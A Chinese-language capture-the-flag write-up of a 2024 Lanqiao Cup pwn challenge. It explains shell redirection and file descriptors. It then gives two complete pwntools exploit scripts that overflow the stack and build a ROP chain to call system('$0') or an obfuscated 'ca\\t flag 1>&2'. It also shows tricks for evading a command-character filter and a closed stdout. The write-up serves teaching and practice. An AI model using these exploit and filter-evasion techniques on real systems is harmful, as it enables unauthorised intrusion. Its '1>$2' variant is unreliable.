shell的获取,输出重定向he例题

昨天学长在打完蓝桥杯后将其中的pwn题的一道给了我,让我整整,不算难,不过其中有的关于拿到shell的获取flag的姿势还是比较特殊的,属于不难但是比较偏的考点,确实我在做的时候并没有做出来,后来在学长的提醒与上网查资料下才知道的考点,故写一写这篇文章记录一下新学到的这个骚姿势。

关于shell的获取

在pwn题中出了那些上了沙箱的题目不能直接拿到shell外,其他的题主要目的便是拿到远程服务器的shell用以读取flag的值,因此shell的获取成为关键的一步,除去ret2dlresolve和SROP这种特殊方法拿到shell外,用system函数几乎是主要的方法

  1. system(/bin/sh)
  2. system(sh)
  3. system($0)

以上这3种基本就是通过system函数执行参数拿到shell的方法。这里$0就这道要用到拿到shell的方法。

这3种方法主要以/bin/sh用的最多,这个参数在程序中可以通过libc的地址找到,sh则一般在程序中独立有的情况下才用。$0这更少只在特殊的题才会用到。

输出重定向

在shell命令中有一种叫Shell 输入/输出重定向的规则,

我的理解便是在shell的交互过程中,通过一些命令的作用将其不再往常一样从屏幕上输入,并向屏幕上输出。

简单的就像将输入的过程重定向到某个文件中,那么shell便会将文件中的内容当命令一行一行的执行,而输出重定向则相反,通过将输出的过程重定向到某个文件,从而使shell将命令执行后的结果输出到该文件中,不再屏幕上输出。

看起来这个似乎与我们的拿取flag的内容关系不大,但在有的题目中出题人为了恶心人,会将有的字母标记为不可执行的字母,或者在命令中出现这些字母便不能执行,会报错不能达到命令的既定效果。就像蓝桥杯的这道题。在程序中便禁止cat的同时出现与b,s,/,i,n这几个字符的出现,同时还用close(1)函数将程序的输出关闭。

那我们输入的命令真的就不能执行吗,其实也一不一定,像将某些东西输出到屏幕上的命令如cat等其实程序是执行的不过在输出结果之前,因为程序中有close(1),程序便不会再将命令的执行效果输入到屏幕上,而是将报错的内容输出到屏幕上。既然如此,那我们有没有办法将程序执行结果的覆盖报错的结果并输出到屏幕上呢(前提这个命令在没有限制的前提下是能执行有结果的),这种办法便是输入重定向。

在了解这种方法之前我们还需要知道宁外一个知识点,文件描述符(fd)

这个文件描述符通常有数字表示

  • 0 代表标准输入(stdin)。
  • 1 代表标准输出(stdout)。
  • 2 代表标准错误输出(stderr)。

0代表输入,1代表输入(正确的结果),2代表报错的内容输出

既然知道这个了便可以想想在之前的重定向中输入的过程便是文件描述符中的0,正确执行结果的输出便是1,报错内容的输出便是2,那在重定向的过程中如果我们能将1的输出重定向成2,那便是将正确的结果替换成报错的结果被程序当做应该输入到屏幕上的内容输入到屏幕上。(好像有点绕,不够多看几遍应该能理解吧)

在这里用这个方法的主要原因在于之前的程序中有一个close(1)这个命令,将程序的标准输出关闭了,使得程序中的执行结果的输入通道被关闭,于是程序中的命令在执行后的结果不能正确输出,于是便用重定向将标准输出替换为错误输出,将我们想要的结果输出出来。

这个命令是什么呢,就是2>&1这个

在命令中,2>&1 是用来重定向标准错误(stderr)到标准输出(stdout)的。

  • 2 代表标准错误(stderr)。
  • 1 代表标准输出(stdout)。
  • > 是重定向操作符。
  • & 表示我们是在重定向一个文件描述符(在这种情况下是标准错误),而不是创建一个名为&1的文件。

因此,2>&1 说的是:“将标准错误(文件描述符2)重定向到与标准输出(文件描述符1)相同的地方。”

1>&2 说的是:“将标准输出(文件描述符1)重定向到与标准错误(文件描述符2)相同的地方

就这样便可以完美避过在程序中对我们命令的检查,从而执行我们想要的命令并获得想要的结果。

关于这个命令的使用,很简单,就加再正常命令的后面,如

1
cat flag 1>&2

直接这样用便是可以的了。具体的我们以下面这道例题分析。

2024蓝桥杯的pwn题,先checksec一下

image-20240428212948696

没什么保护,并且这道题没有给libc版本说明这道题不用去泄露libc的地址也是能做的,不考虑环境问题。

来看主函数

image-20240428213213551

init函数只是在释放缓冲区并没有什么用,不用管,可以看到程序先是向info中读入0xe长度的数据,并且这个info不是栈的变量而是一个bss段的空间,故我们想info中读取的数据存放在哪我们是知道并且可以利用的,后面便是一个栈溢出的漏洞,虽然能溢出的大小不算太大但也不小,足够执行一些命令了,然后便是来到check函数这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl check()
{
unsigned int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 0xD; ++i )
{
if ( info[i] == 'c' && info[i + 1] == 'a' && info[i + 2] == 't' )
{
puts("Do not use `cat` command.");
exit(0);
}
if ( info[i] == 'b' || info[i] == 's' || info[i] == '/' || info[i] == 'i' || info[i] == 'n' )
{
puts("Do not use some other characters.");
exit(0);
}
}
return close(1);
}

这里便是其内容,简单来说便是对输入到info中的数据进行检测,使其中不能有连续的cat出现和b,s,/,i,n这几个字符的单独出现。这里看似只是检测info中的数据但是在拿到shell后会发现这个检测对向shell中输入的命令也是存在的(这已经是后话了目前主要先拿到shell)

并且之这个函数的最后一行命令是return close(1);

close函数是与open函数相对的函数,open的意思在于打开某个东西的意思,而close的意思在于关闭某个东西的意思,在这里由于使用close关闭1,这里1作为单独的参数出现便表明这里的意思为前文标准输出(stdout),然后再结合关闭这个函数,在这里便是使用程序将标准输出这个通道关闭,使得在后面的程序对于执行的命令不在将执行的结果输出,看到这里其实便可以想到使用要使用重定向这个过程,将输出的过程覆盖错误输出的过程,讲我们需要的结果打印出来。

在回到main函数中,仔细看这个程序会发现在程序中其实是有后门函数的

image-20240428214648408

有system函数,不过其中的参数没什么有,不过既然有这个函数那便可以调用这个函数,那现在我们便只用解决参数的问题然后便可以调用system函数从而获得shell,

在一开始时程序可想info的地方输入数据,并且这个info的地址还是已知的存在,不过在后面的检查中不能有连续的cat出现和b,s,/,i,n这几个字符的单独出现,那拿到shell的前两种方法便已经没用了,还有一种$0似乎可以,先向info中输入$0,然后在栈溢出中将info的地址赋值给rdi寄存器,然后调用system函数从而执行system($0)命令获得shell。
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
io=process('./pwn1')

context.log_level = 'debug'
#gdb.attach(io,'b *0x4008a1')
#pause()



#io.sendafter('stack.\n',b'ca\\t flag 1>&2')
io.sendafter('stack.\n',b'$0')

info=0x601090
pop_rdi_ret=0x400933
system=0x4005D0
ret=0x00000000004005ae

printf=0x4008A1

payload=b'A'*0x28+p64(pop_rdi_ret)+p64(info)+p64(ret)+p64(system)
payload = payload.ljust(0x48,b"A")
io.sendafter('...\n',payload)
#static-sh ./flag
#exec 1>&2 cat flag
io.interactive()

好像这样执行拿到shell就大工告急了,but,

image-20240428220239242

在shell执行命令后会发现之前check函数的检测还在,同时由于之前在check函数中有close(1)这个命令使得程序的标准输出被关闭,不能在将我们需要的结果输出只输出错误结果,那现在的问题就在与如何将这个检测绕过了。

其实答案就在上面知识点的那个输出重定向,便可以完美解决这里的问题,既然程序只能输出错误结果那我就将标准输出重定向到错误结果输出这里,是程序认为,标准输出的结果是错误输出的结果将其输出。

这个重定向的启动该怎么启动,在这道题中有两种方法,一种是直接打印不拿shell,宁一种是在拿到shell后使用命令重定向。

1.拿到shell后使用命令重定向

在拿到程序的shell后执行

1
2
exec 1>$2
cat flag

结果如下:

image-20240429111056137

解释一下第一行命令,exec这个命令的意思在于,在当前shell的前提下重新再打开一个shell,并且结合后面的命令对这个新的shell进行改变。后面这个1>$2,便是输出重定向的内容,

全意便是,在当前这个shell的前提下重新打开一个shell,并且在这个shell中程序的标准输出将覆盖错误输出,由于在之前的shell中,标准输出已知被关闭了,如果我们输入cat等命令只会输出错误结果。而在新的shell中程序会把cat等命令的标准输出当做错误结果输出。这样我们便可以在新的shell中拿到flag的值。

2.直接打印不拿shell

输出重定向的过程除了重新启动一个新的shell完,还可以在单独的命令中使用如

1
cat flag 1>$2

在这里程序便会将这一行命令的标准输出覆盖错误输出,将执行结果输出,不过在拿到shell后想执行这个命令并不能成功,

image-20240429112924204

其主要原因我估计还是在对cat的检查上便已经停止执行了。

既然在shell中执行不成功,那我们便要想其他办法,来将flag打印出来。

其实在之前的system函数的执行中就有一种办法,在system函数的执行除了执行/bin/sh拿到shell外,其实还可以直接执行cat flag这个参数将flag的内容打印出来,不过由于这个参数一般不好找故不常用,不过在这里由于一开始可以向一个地址输入数据,所以这里是可以用的,在加上之前的重定位,关于close(1)的这里便可以绕过,

但是这里还有一个关于cat的检查,这个其实也有办法绕过,可以再命令中使用‘\’这个加载cat的中间,使其成为c\at或c\at,在shall命令中**’\‘**这个并不代表任何意思,无论你加在哪里都没有问题,程序都会默认执行,不去管这个符号的存在,那这样我们便可以利用这个符号绕过cat的检测。

但这个符号的使用会出现很多问题,

  1. 不能再shell中使用,因为我们的shell是通过python链接的故单独的\会被程序认为是\\从而出现错误(在py语法中\\才能在打印过程中表示\)
  2. 在输入程序中也不许用\\才能输入\

因此在程序的第一次输入中,要输入

1
ca\\t flag 1>&2或c\\at flag 1>&2

然后在调用这个参数通过system函数执行这样程序便会直接将flag的内容打印在屏幕上了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
io=process('./pwn1')

context.log_level = 'debug'
#gdb.attach(io,'b *0x4008a1')
#pause()



io.sendafter('stack.\n',b'ca\\t flag 1>&2')
#io.sendafter('stack.\n',b'$0')

info=0x601090
pop_rdi_ret=0x400933
system=0x4005D0
ret=0x00000000004005ae

printf=0x4008A1

payload=b'A'*0x28+p64(pop_rdi_ret)+p64(info)+p64(ret)+p64(system)
payload = payload.ljust(0x48,b"A")
io.sendafter('...\n',payload)
#static-sh ./flag
#exec 1>&2 cat flag
io.interactive()

image-20240429115911123

好了,那这道题就到此为止吧。run